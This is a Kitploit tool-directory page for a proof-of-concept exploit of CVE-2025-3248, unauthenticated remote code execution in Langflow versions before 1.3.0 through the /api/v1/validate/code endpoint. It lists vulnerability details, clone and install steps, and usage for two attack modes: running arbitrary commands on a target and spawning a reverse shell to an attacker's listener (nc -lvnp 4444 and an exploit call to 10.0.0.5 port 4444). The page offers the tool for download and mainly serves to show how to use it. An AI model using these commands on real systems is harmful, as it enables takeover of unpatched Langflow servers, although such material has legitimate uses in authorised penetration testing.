Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
langflow-exploit — PoC for CVE-2025-3248: unauthenticated RCE in Langflow < 1.3.0 via /api/v1/validate/code. | Kitploit
Tools/GitHubGitHub/preemware/langflow-exploit
Payload GenerationExploitationWeb Application ExploitationPenetration Testing
GitHubpreemware/langflow-exploit

langflow-exploit

PoC for CVE-2025-3248: unauthenticated RCE in Langflow < 1.3.0 via /api/v1/validate/code.

View Repository
1501 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-3248 - Langflow Code Validation Endpoint RCE

A proof-of-concept exploit demonstrating a remote code execution vulnerability in Langflow's code validation endpoint. This vulnerability affects Langflow versions prior to 1.3.0, allowing unauthenticated attackers to execute arbitrary code through crafted HTTP requests.

Vulnerability Details

  • CVE ID: CVE-2025-3248
  • Affected Versions: < 1.3.0
  • Attack Vector: Remote
  • Authentication Required: No
  • Impact: Remote Code Execution (RCE)
  • Endpoint: /api/v1/validate/code

Prerequisites

  • Python 3.x
  • Required Python packages:
    • requests
    • colorama

Installation

  1. Clone the repository:
root@kitploit:~
git clone https://github.com/preemware/langflow-exploit
cd langflow-exploit
  1. Install dependencies:
root@kitploit:~
pip install requests colorama

Usage

The exploit supports two modes of operation:

1. Command Execution Mode

Execute a single command on the target system:

root@kitploit:~
python3 cve-2025-3248.py cmd <target_url> "<command>"

Example:

root@kitploit:~
python3 cve-2025-3248.py cmd http://target:7860 "id"

2. Reverse Shell Mode

Spawn an interactive reverse shell:

  1. First, start a listener on your machine:
root@kitploit:~
nc -lvnp 4444
  1. Then run the exploit:
root@kitploit:~
python3 cve-2025-3248.py shell <target_url> <your_ip> <your_port>

Example:

root@kitploit:~
python3 cve-2025-3248.py shell http://target:7860 10.0.0.5 4444
Download Tool